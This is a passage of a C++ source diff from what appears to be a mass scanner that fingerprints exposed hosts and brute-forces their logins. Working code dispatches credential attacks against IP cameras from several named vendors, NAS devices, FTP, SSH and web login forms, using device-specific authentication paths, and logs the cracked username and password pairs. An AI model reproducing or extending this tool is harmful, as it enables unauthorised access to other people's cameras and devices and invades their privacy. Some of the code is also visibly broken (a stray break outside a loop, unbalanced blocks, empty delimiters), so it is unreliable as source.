strstr(tmp1 + 6, "%2f"); + ZeroMemory(actionVal, 128); + if(tmp2 != NULL) + { + strcpy(actionVal, "/"); + strncpy(actionVal, tmp2 + 3, strlen(tmp2) - 3); + } + else + { + strcpy(actionVal, "/"); + }; + }; + }; + if(actionVal[0] != '/') + { + char temp[128] = {0}; + strncpy(temp, actionVal, 128); + strcpy(actionVal, "/"); + strncat(actionVal, temp, strlen(temp)); + }; + }; + + if(inputVec.size() > 0) + { + if(strlen(userVal) != 0 && strlen(passVal) != 0) + { + Connector con; + lopaStr lps = con._WFLobby(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); + + if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + _specFillerWF(hl, ip, tport, title, lps.login, lps.pass, flag); + + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, lps.login, lps.pass, comment, cp, tclass); + putInFile(flag, ip, tport, recd, title, hl, cp); + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find user/pass field."); + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "", "", "UnknownWebform", cp, tclass); + putInFile(flag, ip, tport, recd, title, hl, cp); + }; + }; + OnLiner = 0; +}; +void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *tclass, char *cp, int recd, char *SPEC) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char tport[32] = {0}; + char b[16] = {0}; + strcpy(tport, ":"); + strcat(tport, itoa(port, b, 10)); + Connector con; + lps = con._IPCameraBLobby(ip, port, SPEC); + + if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); + + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); + }; +}; +void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *data) +{ + OnLiner = 1; + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char temp[64] = {0}; + char tport[32] = {0}; + char b[16] = {0}; + strcpy(tport, ":"); + strcat(tport, itoa(port, b, 10)); + Connector con; + + if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data); + else lps = con._BALobby(cookie, ip, port, path, "[NORMAL]", ""); + + if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); + + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); + }; + + ZeroMemory(temp, strlen(temp)); +}; +const char *GetTitle(char* str) +{ + char delimiterT[] = ""; + char delimiterT2[] = "<title id=\"title\">"; + char *firstStr, *secondStr, finalstr[512] = {0}; + + if (strstri(str, "realm") != NULL) + { + if (strstr(str, "\"") != NULL) + { + int hm; + firstStr = strstr(str, "\""); + if(strstr((firstStr+1), "\"") != NULL) + { + secondStr = strstr((firstStr+1), "\""); + hm = (int)(secondStr-firstStr); + } + else hm = 10; + if(hm > 127) hm = 20; + strncat(finalstr, firstStr, hm+1); + }; + }; + + if(strlen(finalstr) != 0) strcat(finalstr, "::"); + + if(strstri(str, "<card") != NULL) + { + char *str1 = strstri(str, "<card"); + if(strstri(str1, "title=") != NULL) + { + char *str2 = strstri(str1, "title="); + if(strstri(str2, ">") != NULL) + { + char *str3 = strstri(str2, ">"); + + int y = str3 - str2; + if(y > 256) + { + strcpy(finalstr, "[Strange title]"); + } + else + { + strncat(finalstr, (char*)(str2 + strlen("title=")), y); + strcat(finalstr, " += "); + }; + }; + }; + }; + + if(strstri(str, "<title>") != NULL) + { + if(strstri(str, "<title>") != NULL) firstStr = strstri(str, "<title>"); + if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); + else + { + strcat(finalstr, "[Corrupted title]"); + return finalstr; + }; + int hm = (int)(secondStr - firstStr); + if(hm > 256) hm = 20; + strncat(finalstr, firstStr + 7, hm - 7); + + if(strstri(finalstr, "index of /") != NULL) + { + int hm = 0; + strcat(finalstr, " ("); + if(strstri(firstStr, "description") != NULL) firstStr = strstri(firstStr, "description"); + if(strstri(firstStr, "") != NULL && strlen(finalstr) < 480) + { + if(iterCount++ > 4 || strlen(finalstr) > 300) break; + if(strstr(firstStr, "\">") != NULL) firstStr = strstr(firstStr, "\">"); + else break; + secondStr = strstri(firstStr, ""); + + hm = (int)(secondStr-firstStr); + if(hm > 16) hm = 16; + + strncat(finalstr, firstStr + 2, hm - 2); + strcat(finalstr, " "); + if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); + else + { + strcpy(finalstr, "[Corrupted title]"); + return finalstr; + }; + int hm = (int)(secondStr-firstStr); + if(hm > 127) hm = 30; + strncat(finalstr, firstStr+18, hm-18); + } + else if(strstri(str, delimiterT) != NULL) + { + firstStr = strstri(str, delimiterT); + if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); + int hm = (int)(secondStr-firstStr); + if(hm > 127) hm = 30; + strncat(finalstr, firstStr+20, hm-20); + }; + + return finalstr; +}; +int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) +{ + char b[16] = {0}; + + if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1; + if(strstri(buffcpy, "404 file not found") != NULL) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(p) + "" + "] Negative hit: \"" + QString::fromLocal8Bit("404 Not Found").toHtmlEscaped() + "\""); + }; + ++Filt; + return -1; + }; + if(p == 22) + { + flag = -22; + char log[2048] = {0}; + char logEmit[2048] = {0}; + char goodStr[256] = {0}; + char banner[256] = {0}; + + char *ptr1 = strstr(buffcpy, "|+|"); + int gsz = ptr1 - buffcpy; + strncpy(goodStr, buffcpy, gsz); + if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3); + strcpy(logEmit, "[SSH] "); + strcpy(log, "[SSH] "); + strcat(log, goodStr); + strcat(log, ""); + strcat(log, "; Banner: "); + strcat(log, banner); + strcat(log, ""); + + ++PieSSH; + + strcat(logEmit, ""); + strcat(logEmit, goodStr); + strcat(logEmit, ""); + + fputsf (ip, itoa(p, b, 10), log, flag, "SSH"); + + char loginSSH[128] = {0}; + char passSSH[128] = {0}; + char *ptrl1 = strstr(buffcpy, ":"); + int lpsz = ptrl1 - buffcpy; + strncpy(loginSSH, buffcpy, lpsz); + char *ptrl2 = strstr(buffcpy, "@"); + lpsz = ptrl2 - ptrl1; + strncpy(passSSH, ptrl1 + 1, lpsz); + fillGlobalLogData(ip, hl, itoa(p, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH"); + +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); +#pragma endregion + return -1; + }; + + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + PathStr ps; + ps.port = p; + strcpy(ps.ip, ip); + ZeroMemory(ps.headr, sizeof(ps.headr)); + ZeroMemory(ps.path, sizeof(ps.path)); + + char finalstr[TITLE_MAX_LENGTH] = {0}; + char port[32] = {0}; + int flag = 0; + char cp[32] = {0}; + + strcpy(cp, GetCodePage(buffcpy)); + flag = ContentFilter(buffcpy, p, ip, cp); + if(flag == -1 ) return -1; + + strcpy(ps.headr, GetTitle(buffcpy)); + ps.flag = flag; + + char pps[256] = {0}; + strcpy(pps, "/"); + + std::vector redirStrLst; + char rBuff[65536] = {0}; + strncpy(rBuff, buffcpy, 65535); + char cookie[1024] = {0}; + if(flag == 0 || flag == 3 || flag == 7 ) + { + int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, rBuff); + strcpy(cp, ps.codepage); + if(rh <= -2) + { + flag = ps.flag; + strcat(finalstr, ps.headr); + p = ps.port; + strcpy(ip, ps.ip); + strcpy(cookie, ps.cookie); + }; + + int sz = strlen(ps.path); + strncpy(pps, ps.path, (sz < 256 ? sz : 256)); + }; + + strcpy(port, itoa(p, b, 10)); + + if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); + if(strstr(finalstr, "Error - Bad Address") != NULL) flag = 5; + else if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; + + fillerFlag = 1; +#pragma region Fillers + + if(flag == 16) + { + Connector con; + OnLiner = 1; + + char log[2048] = {0}; + char logEmit[2048] = {0}; + + strcpy(logEmit, "[FTP]:"); + strcpy(log, "[FTP]:"); + strcat(log, ip); + strcat(log, ":"); + strcat(log, port); + strcat(log, ""); + strcat(log, "; Received: "); + strncat(log, std::to_string((long double)recd).c_str(), 100); + + lps = con._FTPLobby(ip, p, &ps); + + if(strstr(lps.other, "ROUTER") != NULL) + { + ++PieBA; + strcat(log, "ftp://"); + strcat(log, lps.login); + strcat(log, ":"); + strcat(log, lps.pass); + strcat(log, "@"); + strcat(log, ip); + strcat(log, " [ROUTER]"); + strcat(log, ps.headr); + + strcat(logEmit, "ftp://"); + strcat(logEmit, lps.login); + strcat(logEmit, ":"); + strcat(logEmit, lps.pass); + strcat(logEmit, "@"); + strcat(logEmit, ip); + strcat(logEmit, " [ROUTER]"); + + fputsf (ip, port, log, flag, "FTP"); + + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP"); + + + #pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); +#pragma endregion + } + else if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) + { + ++PieBA; + strcat(log, "ftp://"); + strcat(log, lps.login); + strcat(log, ":"); + strcat(log, lps.pass); + strcat(log, "@"); + strcat(log, ip); + strcat(log, ""); + strcat(log, ps.headr); + + strcat(logEmit, "ftp://"); + strcat(logEmit, lps.login); + strcat(logEmit, ":"); + strcat(logEmit, lps.pass); + strcat(logEmit, "@"); + strcat(logEmit, ip); + strcat(logEmit, ""); + + fputsf(ip, port, log, flag, "FTP"); + + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP"); + + +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); +#pragma endregion + } + else if(strstr(lps.login, "Unknown protocol") != NULL) + { + strcat(log, "; [!] USER/PASS commands failed. Dunno what to do."); + fputsf(ip, port, log, flag, ""); + +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +#pragma endregion + }; + } + else if(flag == 21) //Eyeon + { + _specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Eyeon Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 22) //IP Camera control + { + _specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "IP Camera Control", "Basic Authorization", cp, recd, ""); + } + else if(flag == 23) //Network Camera BB-SC384 + { + _specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Network Camera BB-SC384", "Basic Authorization", cp, recd, ""); + } + else if(flag == 24) //Network Camera VB-M40 + { + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-M40", "Basic Authorization", cp, recd, ""); + } + else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera + { + _specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 26) //Sony Network Camera + { + _specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Sony Network Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 27) //UA Network Camera + { + _specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "UA Network Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 28) //Network Camera VB-M40 + { + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-??", "Basic Authorization", cp, recd, ""); + } + else if(flag == 29) //LG Smart IP Device + { + _specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "LG Smart IP Device Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 30) //NAS + { + _specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "NAS", "Basic Authorization", cp, recd, ""); + } + else if(flag == 31) //ip cam + { + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 32) //IPC WEB ip cam + { + _specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "[IPC] WEB IP Camera", "WEB Authorization", cp, recd, "IPC"); + } + else if(flag == 33) //GEOvision ip cam + { + _specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "[GEO] WEB IP Camera", "WEB Authorization", cp, recd, "GEO"); + } + else if(flag == 34) //Hikvision ip cam + { + _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 35) //EasyCam + { + _specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "[EasyCam] WEB IP Camera", "WEB Authorization", cp, recd, "EasyCam"); + } + else if(flag == 36) //Panasonic Cam + { + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 37) //Panasonic Cam + { + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 38) //Foscam + { + _specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "[Foscam] IP Camera", "Basic Authorization", cp, recd, "Foscam"); + } + else if(flag == 39) //EagleEye + { + _specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "[EagleEye] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 40) //Network Camera VB-C?? + { + _specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "[Network Camera VB-C??] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 41) //AVIOSYS-camera + { + _specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "[AVIOSYS] IP Camera", "Basic Authorization", cp, recd, "AVIOSYS"); + } + else if(flag == 20) //AXIS Camera + { + _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 19) //reecam cameras + { + _specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "ReeCam camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 18) //linksys camera + { + _specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Linksys camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 17) //Real-time IP Camera Monitoring System + { + _specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Real-time IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 11) + { + _specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Netwave IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 12) + { + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 13) + { + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 14) + { + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 15) //For HFS + { + char temp[64] = {0}; + char log[512] = {0}; + Connector con; + OnLiner = 1; + ++AnomC1; + + strcpy(log, "[HFS]:"); + strcat(log, hl); + strcat(log, " :: "); + strcat(log, ip); + strcat(log, ":"); + strcat(log, port); + strcat(log, " T: "); + strcat(log, finalstr); + strcat(log, " Pass: "); + lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); + strcat(log, lps.login); + strcat(log, ":"); + strcat(log, lps.pass); + strcat(log, ""); + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization"); + fputsf (ip, port, log , flag, "HFS"); + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); + ZeroMemory(temp, strlen(temp)); + } + else if(flag == 1) + { + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", "Basic Authorization", cp, recd, ""); + } + else if(flag == 101) + { + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", "Basic Authorization", cp, recd, buffcpy); + } + else if(flag == 10) + { + _specWFBrute(ip, p, hl, rBuff, flag, pps, "Web Form", "Web Form", cp, recd, finalstr); + } + else + { + putInFile(flag, ip, port, recd, finalstr, hl, cp); + }; +#pragma endregion + fillerFlag = 0; + + return flag; +}; + +const char *rbuff1 = "GET "; +const char *rbuff2 = " HTTP/1.1\r\nHost: "; +const char *rbuff3 = "\r\nCookie:"; +const char *rbuff4 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n\r\n"; + +int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector *redirStrLst, char *buff) +{ + if(ls->iterationCount++ == 5) + { + ls->iterationCount = 0; + + strcpy(ps->headr, "[!][Loop detected.]"); + strcpy(ps->path, ""); + + return 0; + }; + + Connector con; + char tempIP[MAX_ADDR_LEN] = {0}; + strcpy(tempIP, ip); + int tempPort = 80; + char tempPath[1024] = {0}; + char mes[2048]= {0}; + + if(strstri(str, "https://") != NULL) + { + tempPort = 443; + + char *ptr1 = strstri(str, "https://"); + char *ptr2 = _findFirstOcc(str + 8, ":/"); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1 - 8; + strncpy(tempIP, ptr1 + 8, sz < 128 ? sz : 128); + if(ptr2[0] == ':') + { + char *ptrPath = strstr(ptr2, "/"); + if(ptrPath != NULL) + { + sz = ptrPath - ptr2 - 1; + + char *pPth = strstr(ptr1 + 8, "/"); + strcpy(tempPath, pPth); + } + else + { + strcpy(tempPath, "/"); + sz = ptr2 - ptr1 - 9; + }; + char tPort[8] = {0}; + strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5); + tempPort = atoi(tPort); + } + else if(ptr2[0] == '/') + { + strncpy(tempPath, ptr2, strlen(ptr2)); + } + else + { + stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")"); + }; + } + else + { + strncpy(tempIP, ptr1 + 8, strlen(str) - 8); + strcpy(tempPath, "/"); + }; + + strcpy(mes, rbuff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, rbuff2); + strcat(mes, tempIP); + if(strlen(cookie) != 0) + { + strcat(mes, rbuff3); + strcat(mes, cookie); + }; + strcat(mes, rbuff4); + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + if(con._EstablishSSLConnection(tempIP, tempPort, mes, &cstr) != -1) + { + strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); + ps->flag = ls->flag; + + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return 0; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + ps->port = tempPort; + strcpy(ps->ip, tempIP); + + delete []cstr.lowerBuff; + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + delete []cstr.lowerBuff; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + + return 0; + } + else if(strstr(str, "http://") != NULL) //http + { + char *ptr1 = strstri(str, "http://"); + char *ptr2 = _findFirstOcc(str + 7, ":/"); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1 - 7; + strncpy(tempIP, ptr1 + 7, sz < 128 ? sz : 128); + if(ptr2[0] == ':') + { + char *ptrPath = strstr(ptr2, "/"); + if(ptrPath != NULL) + { + sz = ptrPath - ptr2 - 1; + + char *pPth = strstr(ptr1 + 7, "/"); + strcpy(tempPath, pPth); + } + else + { + strcpy(tempPath, "/"); + sz = ptr2 - ptr1 - 7; + }; + char tPort[8] = {0}; + strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5); + tempPort = atoi(tPort); + } + else if(ptr2[0] == '/') + { + strncpy(tempPath, ptr2, strlen(ptr2)); + } + else + { + stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")"); + }; + } + else + { + strncpy(tempIP, ptr1 + 7, strlen(str) - 7); + strcpy(tempPath, "/"); + }; + + if(tempPort == 0) tempPort = port; + strcpy(mes, rbuff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, rbuff2); + strcat(mes, tempIP); + if(strlen(cookie) != 0) + { + strcat(mes, rbuff3); + strcat(mes, cookie); + }; + strcat(mes, rbuff4); + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + if(con._EstablishConnection(tempIP, tempPort, mes, &cstr) != -1) + { + strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); + ps->flag = ls->flag; + + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return -1; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + ps->port = tempPort; + strcpy(ps->ip, tempIP); + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; + + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + delete []cstr.lowerBuff; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + return 0; + } + else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/')) + { + char *ptr1 = strstr(str, "/"); + if( strstr(str, "')" ) ) + { + strncpy(tempPath, ptr1, strlen(ptr1) - strlen(strstr(ptr1, "')"))); + } + else if( strstr(str, "\"") ) + { + strncpy(tempPath, ptr1, strstr(str, "\"") - str); + } + else if( strstr(str, "\n") ) + { + strncpy(tempPath, ptr1, strlen(ptr1) - strlen(strstr(ptr1, "\n"))); + } + else + { + if(str[0] == '.' && str[1] == '.') strcpy(tempPath, str + 2); + else if(str[0] == '.') strcpy(tempPath, str + 1); + else strcpy(tempPath, str); + }; + + strcpy(mes, rbuff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, rbuff2); + strcat(mes, ip); + if(strlen(cookie) != 0) + { + strcat(mes, rbuff3); + strcat(mes, cookie); + }; + strcat(mes, rbuff4); + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + int cRes = 0; + if(port == 443) cRes = con._EstablishSSLConnection(ip, 443, mes, &cstr); + else cRes = con._EstablishConnection(ip, port, mes, &cstr); + if(cstr.size < 65535) + { + strncpy(buff, cstr.lowerBuff, cstr.size); + } + else + { + strncpy(buff, cstr.lowerBuff, 65535); + }; + if(cRes != -1) + { + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + ls->flag = ContentFilter(cstr.lowerBuff, port, ip, ps->codepage); + ps->flag = ls->flag; + + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return -2; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + ps->port = port; + strcpy(ps->ip, ip); + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + strcat(ps->headr, "->"); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + delete []cstr.lowerBuff; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + return 0; + } + else if(strlen(str) > 2) + { + strcpy(tempPath, str); + strcpy(mes, rbuff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, rbuff2); + strcat(mes, ip); + if(strlen(cookie) != 0) + { + strcat(mes, rbuff3); + strcat(mes, cookie); + }; + strcat(mes, rbuff4); + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + if(con._EstablishConnection(ip, port, mes, &cstr) != -1) + { + strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + ls->flag = ContentFilter(cstr.lowerBuff, port, ip, ps->codepage); + ps->flag = ls->flag; + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return -1; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + ps->port = port; + strcpy(ps->ip, ip); + + return ls->flag; + }; + if(ls->flag == 6) + { + 